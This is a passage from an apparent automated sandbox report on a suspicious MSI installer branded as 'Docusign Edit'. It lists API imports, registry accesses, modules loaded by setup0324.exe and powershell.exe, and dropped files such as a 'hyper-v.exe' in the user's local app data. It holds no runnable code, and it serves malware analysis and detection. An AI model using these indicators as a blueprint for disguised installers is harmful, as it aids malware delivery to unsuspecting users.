"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCursorPosition"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetNumberFormatW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "RtlVerifyVersionInfo"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "wsprintfW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "WNetGetLastErrorW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "WNetCancelConnection2W"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp")31:T570,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "setup0324_or_1.msi") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "setup0324_or_1.msi") Found reference to API "WNetGetLastErrorW" (Indicator: "GetLastError"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "WNetGetLastErrorW" (Indicator: "GetLastError"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp")32:T8a1,"de{2731789B-EC09-47FA-9345-C5B5236626D7}ProductLanguage1033ProductNameDocusign EditProductVersionWIX_DOWNGRADE_DETECTEDWIX_UPGRADE_DETECTEDSecureCustomPropertiesWIX_DOWNGRADE_DETECTED;WIX_UPGRADE_DETECTEDSOFTWARE\[BZ.COMPANYNAME]\MSI Wrapper\Installed\[BZ.WRAPPED_APPID]LogonUser[LogonUser]regUserNameUSERNAME[USERNAME]regDateDate[Date]regTimeTime[Time]regArgumentsWRAPPED_ARGUMENTS[WRAPPED_ARGUMENTS]2.7.3.39DocuSign{662003D7-955C-4B13-AE7E-EECBB731A7CC}setup0324.js-" in Source: setup0324_or_1.msi "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\" in Source: setup0324_or_1.msi "SOFTWARE\EXEMSI.COM\MSI Wrapper" in Source: setup0324_or_1.msi "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: setup0324_or_1.msi "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 24765-149-00DBD560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 24765-182-00DB8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 24765-182-00DB8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 24765-182-00DB8190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 24765-184-00DBBFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 24765-195-00DB8AF0 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006420.00000000.216677.00DB1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006420.00000000.216677.00DB1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006420.00000000.216677.00DB1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006420.00000000.216677.00DB1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006420.00000000.216677.00DB1000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006420.00000000.216677.00DB1000.00000020.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007480.00000000.216734.02710000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00007480.00000000.216734.02710000.00000004.mdmp33:T1038,"setup0324.exe" loaded module "KERNEL32" at base 74e40000 "setup0324.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75210000 "setup0324.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75210000 "setup0324.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75210000 "setup0324.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75cb0000 "setup0324.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75210000 "setup0324.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75210000 "setup0324.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75210000 "setup0324.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72570000 "setup0324.exe" loaded module "SHELL32.DLL" at base 76290000 "setup0324.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 761e0000 "setup0324.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74100000 "setup0324.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 775d0000 "setup0324.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73440000 "setup0324.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 72560000 "setup0324.exe" loaded module "RPCRT4.DLL" at base 74670000 "setup0324.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 72510000 "setup0324.exe" loaded module "KERNEL32.DLL" at base 74e40000 "setup0324.exe" loaded module "CRYPT32.DLL" at base 75e00000 "setup0324.exe" loaded module "WININET.DLL" at base 72240000 "setup0324.exe" loaded module "WS2_32.DLL" at base 750b0000 "setup0324.exe" loaded module "USER32.DLL" at base 75560000 "setup0324.exe" loaded module "GDI32.DLL" at base 76260000 "setup0324.exe" loaded module "OLE32.DLL" at base 77a80000 "setup0324.exe" loaded module "OLEAUT32.DLL" at base 77670000 "setup0324.exe" loaded module "ADVAPI32.DLL" at base 761e0000 "setup0324.exe" loaded module "BCRYPT.DLL" at base 73510000 "setup0324.exe" loaded module "GDIPLUS.DLL" at base 74390000 "setup0324.exe" loaded module "SHLWAPI.DLL" at base 75160000 "setup0324.exe" loaded module "NTDLL.DLL" at base 77d20000 "setup0324.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 74390000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75210000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75210000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75210000 "powershell.exe" loaded module "KERNEL32" at base 74e40000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72570000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 761e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72130000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 75160000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 775d0000 "powershell.exe" loaded module "VERSION.DLL" at base 74370000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 71980000 "powershell.exe" loaded module "USER32.DLL" at base 75560000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 75210000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 721c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 75f90000 "powershell.exe" loaded module "RPCRT4.DLL" at base 74670000 "powershell.exe" loaded module "KERNEL32.DLL" at base 74e40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70460000 "systeminfo.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75210000 "systeminfo.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75210000 "systeminfo.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75210000 "systeminfo.exe" loaded module "KERNEL32" at base 74e4000034:T57f,Process "msiexec.exe" (UID: 00000000-00006284) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, PSModulePath, APPDATA, USERNAME, CommonProgramFiles, Path, PATHEXT, TEMP, USERPROFILE, TMP, ProgramFiles" Process "msiexec.exe" (UID: 00000000-00006284) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, LOGONSERVER, PROMPT, OneDrive, PROCESSOR_ARCHITEW6432, HOMEPATH, HOMEDRIVE" Process "MsiExec.exe" (UID: 00000000-00005224) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", OneDrive="%USERPROFILE%\OneDrive", HOMEPATH="\Users\%OSUSER%", HOMEDRIVE="C:"" Process "MsiExec.exe" (UID: 00000000-00005224) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, TEMP, USERPROFILE, TMP" Process "ICACLS.EXE" (UID: 00000000-00005712) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "ICACLS.EXE" (UID: 00000000-00005712) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "powershell.exe" (UID: 00000000-00006420) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A"" Process "powershell.exe" (UID: 00000000-00006420) was launched with modified environment variables: "NUMBER_OF_PROCESSORS"35:T752,"hyper-v.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\Microsoft\Windows\hyper-v.exe]- [targetUID: 00000000-00004680] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "x3m0.1" has type "SQLite 3.x database user version 9 last written using SQLite version 3020001 page size 32768 writer version 2 read version 2 file counter 4 database pages 4 cookie 0x2 schema 4 UTF-8 version-valid-for 4"- [targetUID: N/A] "x3m0.6" has type "SQLite 3.x database last written using SQLite version 3039003 page size 2048 file counter 12 database pages 65 cookie 0x35 schema 4 UTF-8 version-valid-for 12"- [targetUID: N/A] "x3m0.5" has type "SQLite 3.x database last written using SQLite version 3044002 page size 2048 file counter 3 database pages 64 cookie 0x26 schema 4 UTF-8 version-valid-for 3"- [targetUID: N/A] "x3m0.4" has type "SQLite 3.x database last written using SQLite version 3038005 page size 2048 file counter 2 database pages 27 cookie 0x10 schema 4 UTF-8 version-valid-for 2"- [targetUID: N/A] "x3m0.2" has type "SQLite 3.x database last written using SQLite version 3039003 file counter 47 database pages 11 1st free page 6 free pages 3 cookie 0xc schema 4 UTF-8 version-valid-for 47"- [targetUID: N/A] "x3m0.3" has type "SQLite 3.x database last written using SQLite version 3044002 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1"- [targetUID: N/A] "StartupProfileData-NonInteractive" has type "data"- [targetUID: N/A] "x3m0.0" has type "SQLite 3.x database last written using SQLite version 3044002 file counter 7 database pages 5 cookie 0x3 schema 4 UTF-8 version-valid-for 7"- [targetUID: N/A] "hyper-v.ver" has type "ASCII text with no line terminators"- Location: [%LOCALAPPDATA%\hyper-v.ver]- [targetUID: 00000000-00004680]36:T576,"setup0324.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "setup0324.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "setup0324.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "setup0324.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "setup0324.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "setup0324.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "setup0324.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "setup0324.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "setup0324.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "setup0324.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "setup0324.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\DISABLE8AND16BITMITIGATION"; Key: ""; Value: "")37:Ta1b,"setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "SETUP0324.EXE"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; 